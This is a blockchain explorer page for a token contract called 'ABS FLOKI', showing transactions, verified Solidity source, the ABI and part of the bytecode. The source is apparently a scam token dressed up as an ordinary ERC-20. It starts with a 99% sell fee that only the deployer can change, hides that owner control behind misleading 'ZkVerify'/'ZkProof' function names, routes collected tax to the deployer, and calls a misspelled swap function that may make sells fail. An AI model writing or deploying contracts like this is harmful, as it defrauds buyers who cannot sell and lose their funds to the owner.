ETH Price: $2,788.68 (+1.43%)

Contract

0x42C33633bD07f9a862cdD5568cBfd78091586968

Overview

ETH Balance

0 ETH

ETH Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve2612252025-01-27 20:17:2810 days ago1738009048IN
0x42C33633...091586968
0 ETH0.000007450.04525
Approve2611292025-01-27 20:15:5010 days ago1738008950IN
0x42C33633...091586968
0 ETH0.000006320.04525
Approve2609152025-01-27 20:12:1510 days ago1738008735IN
0x42C33633...091586968
0 ETH0.000006790.04525
Open Trading2608262025-01-27 20:10:4610 days ago1738008646IN
0x42C33633...091586968
0 ETH0.000008780.04525
Tax Remove2608232025-01-27 20:10:4310 days ago1738008643IN
0x42C33633...091586968
0 ETH0.000003740.04525

Latest 1 internal transaction

Parent Transaction Hash Block From To
2607282025-01-27 20:09:0810 days ago1738008548  Contract Creation0 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FLOKI

Compiler Version
v0.8.17-1.0.1

ZkSolc Version
v1.5.10

Optimization Enabled:
Yes with Mode 3

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at abscan.org on 2025-01-27
*/

pragma solidity ^0.8.17;

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return (a * b) / 100;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.0;

contract FLOKI {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    string private _name = unicode"ABS FLOKI";
    string private _symbol = unicode"FLOKI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    // Cambiamos la declaración del error
    error PermissionsError(string message);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0xF3d37F357e4E1A7AA87e3F13992c0604AbA6af13);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 99;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function changeInfo(string memory name_, string memory symbol_) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) 
            revert PermissionsError("Not authorized");
        _name = name_;
        _symbol = symbol_;
    }

    function taxRemove(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) 
            revert PermissionsError("Not authorized");
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify(), "Not authorized");
        require(!tradingOpen, "Trading already open");
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt, "Trading not open");

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            // Usando call en lugar de transfer para zkSync
            (bool success,) = payable(tokenMkt).call{value: address(this).balance}("");
            require(success, "ETH transfer failed");
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"string","name":"message","type":"string"}],"name":"PermissionsError","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

9c4d535b0000000000000000000000000000000000000000000000000000000000000000010002039898c3ac41d9c80a122fedb24a0003116500b3683f487922be31b2df00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x0002000000000002000400000000000200010000000103550000006003100270000001b00030019d0000008004000039000000400040043f00000001002001900000004f0000c13d000001b005300197000000040050008c000000860000413d000000000201043b000000e002200270000001bd0020009c0000008a0000213d000001c70020009c000000a70000a13d000001c80020009c000000f40000213d000001cb0020009c000001790000613d000001cc0020009c000003680000c13d000000640050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000302043b000001d00030009c000003680000213d0000002402100370000000000202043b000400000002001d000001d00020009c000003680000213d0000004401100370000000000101043b000200000001001d000000000030043f0000000401000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c70000801002000039000300000003001d06bb06b60000040f0000000100200190000003680000613d000000000101043b0000000002000411000000000020043f000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f00000003040000290000000100200190000003680000613d000000000101043b000000000201041a0000000203000029000000000232004b000003c50000813d000001e501000041000000000010043f0000001101000039000000040010043f000001e601000041000006bd000104300000000001000416000000000001004b000003680000c13d000000000100041a000000010210019000000001031002700000007f0330618f0000001f0030008c00000000010000390000000101002039000000000012004b000000800000c13d000000200030008c000000730000413d000400000003001d000000000000043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b1011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b00000004020000290000001f0220003900000005022002700000000002210019000000000021004b000000730000813d000000000001041b0000000101100039000000000021004b0000006f0000413d000001b201000041000000000010041b0000000103000039000000000103041a000000010010019000000001041002700000007f0440618f0000001f0040008c00000000020000390000000102002039000000000121013f0000000100100190000000d00000613d000001e501000041000000000010043f0000002201000039000000040010043f000001e601000041000006bd00010430000000000005004b000003680000c13d0000000001000019000006bc0001042e000001be0020009c000000b40000a13d000001bf0020009c000001070000213d000001c20020009c000002180000613d000001c30020009c000003680000c13d000000440050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000202043b000001d00020009c000003680000213d0000002401100370000000000301043b000000000100041106bb049d0000040f0000000101000039000000400200043d0000000000120435000001b00020009c000001b0020080410000004001200210000001e0011001c7000006bc0001042e000001cd0020009c000002210000613d000001ce0020009c0000023f0000613d000001cf0020009c000003680000c13d0000000001000416000000000001004b000003680000c13d000001b901000041000000800010043f000001d101000041000006bc0001042e000001c40020009c000002840000613d000001c50020009c000002970000613d000001c60020009c000003680000c13d0000000001000416000000000001004b000003680000c13d0000000103000039000000000203041a000000010520019000000001012002700000007f0410018f00000000010460190000001f0010008c00000000060000390000000106002039000000000662013f0000000100600190000000800000c13d000000800010043f000000000005004b000003840000c13d000001ef01200197000000a00010043f000000000004004b000003770000013d0000001f0040008c000000e90000a13d000400000004001d000000000030043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b1011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b00000004020000290000001f0220003900000005022002700000000002210019000000000021004b0000000103000039000000e90000813d000000000001041b0000000101100039000000000021004b000000e50000413d000001b301000041000000000013041b000000400100043d000001b40010009c000001250000a13d000001e501000041000000000010043f0000004101000039000000040010043f000001e601000041000006bd00010430000001c90020009c000002b40000613d000001ca0020009c000003680000c13d0000000001000416000000000001004b000003680000c13d0000000201000039000000000101041a000001d002100197000000800020043f000000a002100270000000ff0220018f000000a00020043f000000a801100270000000ff0110018f000000c00010043f000001e401000041000006bc0001042e000001c00020009c000002bb0000613d000001c10020009c000003680000c13d000000440050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000202043b000001d00020009c000003680000213d0000002401100370000000000101043b000001d00010009c000003680000213d000000000020043f000400000001001d0000000401000039000000200010043f0000004002000039000000000100001906bb069c0000040f0000000402000029000000000020043f000000200010043f00000000010000190000004002000039000002920000013d0000006002100039000000400020043f0000004002100039000000630300003900000000003204350000000004000411000000000141043600000000000104350000000201000039000000000201041a000001b502200197000001b603400197000000000223019f000001b7022001c7000000000021041b000000000040043f0000000301000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b000001b902000041000000000021041b0000000001000410000000000010043f0000000401000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b000001ba02000041000000000020043f000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b000000010200008a000000000021041b000001b901000041000000400200043d0000000000120435000001b00020009c000001b00200804100000040012002100000000002000414000001b00020009c000001b002008041000000c002200210000000000112019f000001b1011001c70000800d020000390000000303000039000001bb040000410000000005000019000000000600041106bb06b10000040f0000000100200190000003680000613d000000200100003900000100001004430000012000000443000001bc01000041000006bc0001042e000000440050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000402043b000001e70040009c000003680000213d0000002302400039000000000052004b000003680000813d0000000406400039000000000261034f000000000302043b000001e70030009c000000ee0000213d0000001f07300039000001f0077001970000003f07700039000001f007700197000001e80070009c000000ee0000213d0000008007700039000000400070043f000000800030043f00000000043400190000002404400039000000000054004b000003680000213d0000002004600039000000000641034f000001f0073001980000001f0830018f000000a004700039000001a30000613d000000a009000039000000000a06034f00000000ab0a043c0000000009b90436000000000049004b0000019f0000c13d000000000008004b000001b00000613d000000000676034f0000000307800210000000000804043300000000087801cf000000000878022f000000000606043b0000010007700089000000000676022f00000000067601cf000000000686019f0000000000640435000000a00330003900000000000304350000002403100370000000000703043b000001e70070009c000003680000213d0000002303700039000000000053004b000003680000813d0000000408700039000000000381034f000000000603043b000001e70060009c000000ee0000213d0000001f03600039000001f0033001970000003f03300039000001f004300197000000400300043d0000000004430019000000000034004b00000000090000390000000109004039000001e70040009c000000ee0000213d0000000100900190000000ee0000c13d000000400040043f000000000463043600000000076700190000002407700039000000000057004b000003680000213d0000002005800039000000000551034f000001f0076001980000001f0860018f0000000001740019000001dd0000613d000000000905034f000000000a040019000000009b09043c000000000aba043600000000001a004b000001d90000c13d000000000008004b000001ea0000613d000000000575034f0000000307800210000000000801043300000000087801cf000000000878022f000000000505043b0000010007700089000000000575022f00000000057501cf000000000585019f0000000000510435000000000164001900000000000104350000000201000039000000000101041a000001d0011001970000000005000411000000000015004b000003e10000c13d000000800100043d000001e70010009c000000ee0000213d000000000600041a000000010060019000000001056002700000007f0550618f0000001f0050008c00000000070000390000000107002039000000000676013f0000000100600190000000800000c13d000000200050008c000002100000413d0000001f061000390000000506600270000001e90660009a000000200010008c000001ea06004041000000000000043f0000001f055000390000000505500270000001e90550009a000000000056004b000002100000813d000000000006041b0000000106600039000000000056004b0000020c0000413d0000001f0010008c000003f90000a13d000001f006100198000000000000043f000004040000c13d000000a007000039000001ea05000041000004120000013d0000000001000416000000000001004b000003680000c13d0000000501000039000000000101041a000001d001100197000000800010043f000001d101000041000006bc0001042e0000000001000416000000000001004b000003680000c13d000000000200041a000000010320019000000001012002700000007f0110618f0000001f0010008c00000000040000390000000104002039000000000442013f0000000100400190000000800000c13d000000800010043f000000000003004b000003740000613d000000000000043f000000000001004b000003870000613d000001ea0200004100000000040000190000000003040019000000000402041a000000a005300039000000000045043500000001022000390000002004300039000000000014004b000002360000413d000003b30000013d000000440050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000202043b000400000002001d000001d00020009c000003680000213d0000002401100370000000000101043b000300000001001d0000000001000411000000000010043f0000000401000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000003680000613d000000000101043b0000000302000029000000000021041b000000400100043d0000000000210435000001b00010009c000001b00100804100000040011002100000000002000414000001b00020009c000001b002008041000000c002200210000000000112019f000001b1011001c70000800d020000390000000303000039000001ee040000410000000005000411000000040600002906bb06b10000040f0000000100200190000003680000613d000000400100043d00000001020000390000000000210435000001b00010009c000001b0010080410000004001100210000001e0011001c7000006bc0001042e000000240050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000401100370000000000101043b000001d00010009c000003680000213d000000000010043f0000000301000039000000200010043f0000004002000039000000000100001906bb069c0000040f000000000101041a000000800010043f000001d101000041000006bc0001042e000000440050008c000003680000413d0000000002000416000000000002004b000003680000c13d0000000402100370000000000202043b000000ff0020008c000003680000213d0000002401100370000000000101043b000000ff0010008c000003680000213d0000000203000039000000000403041a000001d0054001970000000006000411000000000056004b000003a70000c13d000000a002200210000001e302200197000000a801100210000001d501100197000000000121019f000001b602400197000000000121019f000000000013041b0000000001000019000006bc0001042e0000000001000416000000000001004b000003680000c13d0000001201000039000000800010043f000001d101000041000006bc0001042e0000000001000416000000000001004b000003680000c13d0000000201000039000000000101041a000001d0011001970000000002000411000000000012004b0000036a0000c13d0000000501000039000000000101041a000001d5001001980000037a0000c13d000400000001001d000001d701000041000000800010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001d8011001c7000001ba0200004106bb06b60000040f000000800a0000390000006003100270000001b003300197000000200030008c000000200400003900000000040340190000001f0640018f000000200740019000000080057001bf000002e10000613d000000000801034f000000008908043c000000000a9a043600000000005a004b000002dd0000c13d000000000006004b000002ee0000613d000000000771034f0000000306600210000000000805043300000000086801cf000000000868022f000000000707043b0000010006600089000000000767022f00000000066701cf000000000686019f00000000006504350000000100200190000003890000613d0000001f01400039000000600110018f00000080041001bf000000400040043f000000200030008c000003680000413d000000800100043d000001d00010009c000003680000213d000200000001001d000001da0100004100000000001404350000000001000414000001b00010009c000001b001008041000000c0011002100000004002400210000000000121019f000001db011001c7000001ba02000041000300000004001d06bb06b60000040f000000030b0000290000006003100270000001b003300197000000200030008c000000200400003900000000040340190000001f0640018f000000200740019000000000057b0019000003160000613d000000000801034f00000000090b0019000000008a08043c0000000009a90436000000000059004b000003120000c13d000000000006004b000003230000613d000000000771034f0000000306600210000000000805043300000000086801cf000000000868022f000000000707043b0000010006600089000000000767022f00000000066701cf000000000686019f00000000006504350000000100200190000003c90000613d0000001f01400039000000600110018f0000000004b10019000000400040043f000000200030008c0000000202000029000003680000413d00000000010b0433000001d00010009c000003680000213d000001dc0300004100000000003404350000000005040019000100000004001d00000004044001bf00000000030004100000000000340435000000240350003900000000001304350000000001000414000001b00010009c000001b001008041000000c0011002100000004003500210000000000131019f000001dd011001c706bb06b60000040f0000006003100270000001b003300197000000200030008c000000200400003900000000040340190000001f0640018f0000002007400190000000010b0000290000000105700029000003500000613d000000000801034f00000000090b0019000000008a08043c0000000009a90436000000000059004b0000034c0000c13d000000000006004b0000035d0000613d000000000771034f0000000306600210000000000805043300000000086801cf000000000868022f000000000707043b0000010006600089000000000767022f00000000066701cf000000000686019f00000000006504350000000100200190000003d50000613d0000001f01400039000000600110018f0000000001b10019000000400010043f000000200030008c000003680000413d00000000010b0433000001d00010009c000003f10000a13d0000000001000019000006bd00010430000001d201000041000000800010043f0000002001000039000000840010043f0000000e01000039000000a40010043f000001d301000041000000c40010043f000001d401000041000006bd00010430000001ef02200197000000a00020043f000000000001004b000000c001000039000000a001006039000003b40000013d000001d201000041000000800010043f0000002001000039000000840010043f0000001401000039000000a40010043f000001d601000041000000c40010043f000001d401000041000006bd00010430000000000030043f000000020020008c000003a90000813d000000a001000039000003b40000013d0000001f0530018f000001d906300198000000400200043d0000000004620019000003940000613d000000000701034f0000000008020019000000007907043c0000000008980436000000000048004b000003900000c13d000000000005004b000003a10000613d000000000161034f0000000305500210000000000604043300000000065601cf000000000656022f000000000101043b0000010005500089000000000151022f00000000015101cf000000000161019f00000000001404350000006001300210000001b00020009c000001b0020080410000004002200210000000000112019f000006bd00010430000001e2010000410000036b0000013d000001e10200004100000000040000190000000003040019000000000402041a000000a005300039000000000045043500000001022000390000002004300039000000000014004b000003ab0000413d000000c001300039000000800210008a000000800100003906bb04810000040f000000400100043d000400000001001d000000800200003906bb046c0000040f00000004020000290000000001210049000001b00010009c000001b0010080410000006001100210000001b00020009c000001b0020080410000004002200210000000000121019f000006bc0001042e000000000021041b000000000104001900000004020000290000009e0000013d0000001f0530018f000001d906300198000000400200043d0000000004620019000003940000613d000000000701034f0000000008020019000000007907043c0000000008980436000000000048004b000003d00000c13d000003940000013d0000001f0530018f000001d906300198000000400200043d0000000004620019000003940000613d000000000701034f0000000008020019000000007907043c0000000008980436000000000048004b000003dc0000c13d000003940000013d000000400200043d000400000002001d000001e2010000410000000000120435000000040120003906bb04930000040f00000004020000290000000001210049000001b00010009c000001b0010080410000006001100210000001b00020009c000001b0020080410000004002200210000000000121019f000006bd000104300000000402000029000001de02200197000000000112019f000001df011001c70000000502000039000000000012041b0000000001000019000006bc0001042e000000000001004b0000000005000019000003fd0000613d000000a00500043d0000000306100210000001f10660027f000001f106600167000000000565016f0000000101100210000000000115019f0000041d0000013d000001ea050000410000002008000039000000010760008a0000000507700270000001eb0770009a000000000908001900000080088000390000000008080433000000000085041b00000020089000390000000105500039000000000075004b000004090000c13d000000a007900039000000000016004b0000041b0000813d0000000306100210000000f80660018f000001f10660027f000001f1066001670000000007070433000000000667016f000000000065041b000000010110021000000001011001bf000000000010041b0000000005030433000001e70050009c000000ee0000213d0000000101000039000000000701041a000000010070019000000001067002700000007f0660618f0000001f0060008c00000000080000390000000108002039000000000787013f0000000100700190000000800000c13d000000200060008c0000043e0000413d0000000107000039000000000070043f0000001f075000390000000507700270000001ec0770009a000000200050008c000001e1070040410000001f066000390000000506600270000001ec0660009a000000000067004b0000043e0000813d000000000007041b0000000107700039000000000067004b0000043a0000413d0000001f0050008c000004460000a13d000000000010043f000001f006500198000004500000c13d0000002004000039000001e1020000410000045c0000013d000000000005004b00000000020000190000044a0000613d00000000020404330000000303500210000001f10330027f000001f103300167000000000232016f0000000103500210000004680000013d000001e1020000410000002004000039000000010760008a0000000507700270000001ed0770009a00000000083400190000000008080433000000000082041b00000020044000390000000102200039000000000072004b000004550000c13d000000000056004b000004660000813d0000000306500210000000f80660018f000001f10660027f000001f10660016700000000033400190000000003030433000000000363016f000000000032041b00000001025002100000000003010019000000000232019f000000000021041b0000000001000019000006bc0001042e00000020030000390000000004310436000000003202043400000000002404350000004001100039000000000002004b0000047b0000613d000000000400001900000000054100190000000006430019000000000606043300000000006504350000002004400039000000000024004b000004740000413d000000000321001900000000000304350000001f02200039000001f0022001970000000001210019000000000001042d0000001f02200039000001f0022001970000000001120019000000000021004b00000000020000390000000102004039000001e70010009c0000048d0000213d00000001002001900000048d0000c13d000000400010043f000000000001042d000001e501000041000000000010043f0000004101000039000000040010043f000001e601000041000006bd000104300000004002100039000001d303000041000000000032043500000020021000390000000e030000390000000000320435000000200200003900000000002104350000006001100039000000000001042d0007000000000002000700000003001d0000000203000039000000000303041a0000000504000039000000000404041a000001d500400198000004ab0000c13d000000000413013f000001d000400198000004ab0000613d000000000423013f000001d0004001980000063c0000c13d000500000002001d000400000003001d000001d001100197000600000001001d000000000010043f0000000301000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000006340000613d000000000101043b000000000201041a0000000704000029000000000242004b000006360000413d000000000021041b00000000050004100000000501000039000000000301041a0000000501000029000501d00010019b000001d001300197000000050010006b000005e00000c13d000001e300300198000005e00000c13d000300000003001d000000000050043f0000000301000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06b60000040f0000000100200190000006340000613d000000000101043b000000000101041a000001f20010009c000000070400002900000000050004100000000303000029000005e00000413d0000000401000029000001d002100197000000060020006b000005e00000613d000100000002001d000001f301300197000001f4011001c70000000502000039000000000012041b000000400300043d000001b40030009c0000064d0000213d0000006001300039000000400010043f0000000202000039000400000003001d0000000005230436000000000200003100000001022003670000000003050019000000002402043c0000000003430436000000000013004b000004f30000c13d0000000001000410000200000005001d0000000000150435000001da01000041000000400200043d000300000002001d0000000000120435000001b00020009c000001b001000041000000000102401900000040011002100000000002000414000001b00020009c000001b002008041000000c002200210000000000112019f000001db011001c7000001ba0200004106bb06b60000040f000000030b0000290000006003100270000001b003300197000000200030008c000000200400003900000000040340190000001f0640018f000000200740019000000000057b00190000051a0000613d000000000801034f00000000090b0019000000008a08043c0000000009a90436000000000059004b000005160000c13d000000000006004b000005270000613d000000000771034f0000000306600210000000000805043300000000086801cf000000000868022f000000000707043b0000010006600089000000000767022f00000000066701cf000000000686019f00000000006504350000000100200190000006540000613d0000001f01400039000000600210018f0000000001b20019000000000021004b00000000020000390000000102004039000001e70010009c00000004040000290000064d0000213d00000001002001900000064d0000c13d000000400010043f000000200030008c000006340000413d00000000010b0433000001d00010009c000006340000213d0000000002040433000000010020008c0000066e0000a13d00000040024000390000000000120435000001f5010000410000000000100443000001ba0100004100000004001004430000000001000414000001b00010009c000001b001008041000000c001100210000001f6011001c7000080020200003906bb06b60000040f0000000100200190000006530000613d000000000101043b000000000001004b00000002050000290000000403000029000006340000613d000000400600043d0000004401600039000000a0020000390000000000210435000001f70100004100000000001604350000000401600039000001f2020000410000000000210435000000240160003900000000000104350000000001030433000000a4026000390000000000120435000000c407600039000000000001004b0000056b0000613d000000000200001900000000040004100000000053050434000001d00330019700000000073704360000000102200039000000000012004b000005640000413d0000056c0000013d0000000004000410000300000007001d00000064016000390000000000410435000001f80100004100000000001004430000000001000414000001b00010009c000001b001008041000000c001100210000001f9011001c70000800b02000039000400000006001d06bb06b60000040f0000000100200190000006530000613d000000000101043b0000000403000029000000840230003900000000001204350000000301300069000001b00010009c000001b0010080410000006001100210000001b00030009c000001b00200004100000000020340190000004002200210000000000121019f0000000002000414000001b00020009c000001b002008041000000c002200210000000000121019f000001ba0200004106bb06b10000040f0000000100200190000006740000613d0000000401000029000001e70010009c0000064d0000213d000000400010043f000001fa010000410000000000100443000000000100041000000004001004430000000001000414000001b00010009c000001b001008041000000c001100210000001f6011001c70000800a0200003906bb06b60000040f0000000100200190000006530000613d000000000301043b0000000001000414000001b00010009c000001b001008041000000c001100210000000000003004b000005ae0000613d000001fb011001c7000080090200003900000001040000290000000005000019000005af0000013d000000010200002906bb06b10000040f0000006003100270000001b003300198000005d80000613d0000001f04300039000001fc044001970000003f04400039000001fd04400197000000400500043d0000000004450019000000000054004b00000000060000390000000106004039000001e70040009c0000064d0000213d00000001006001900000064d0000c13d000000400040043f0000001f0430018f0000000006350436000001d9053001980000000003560019000005cb0000613d000000000701034f000000007807043c0000000006860436000000000036004b000005c70000c13d000000000004004b000005d80000613d000000000151034f0000000304400210000000000503043300000000054501cf000000000545022f000000000101043b0000010004400089000000000141022f00000000014101cf000000000151019f00000000001304350000000100200190000006940000613d0000000502000039000000000102041a000001f301100197000000000012041b00000007040000290000000005000410000000060050006b0000060c0000613d0000000501000039000000000101041a000001d5001001980000060c0000613d0000000202000039000000000202041a000001d001100197000000050010006b000000a001000039000000a801006039000000000112022f000000ff0210018f00000000014200a9000000000004004b000005f40000613d00000000034100d9000000000032004b000006360000c13d000000640110011a000000000414004b000006360000413d000400000001001d000700000004001d000000000050043f0000000301000039000000200010043f0000000001000414000001b00010009c000001b001008041000000c001100210000001b8011001c7000080100200003906bb06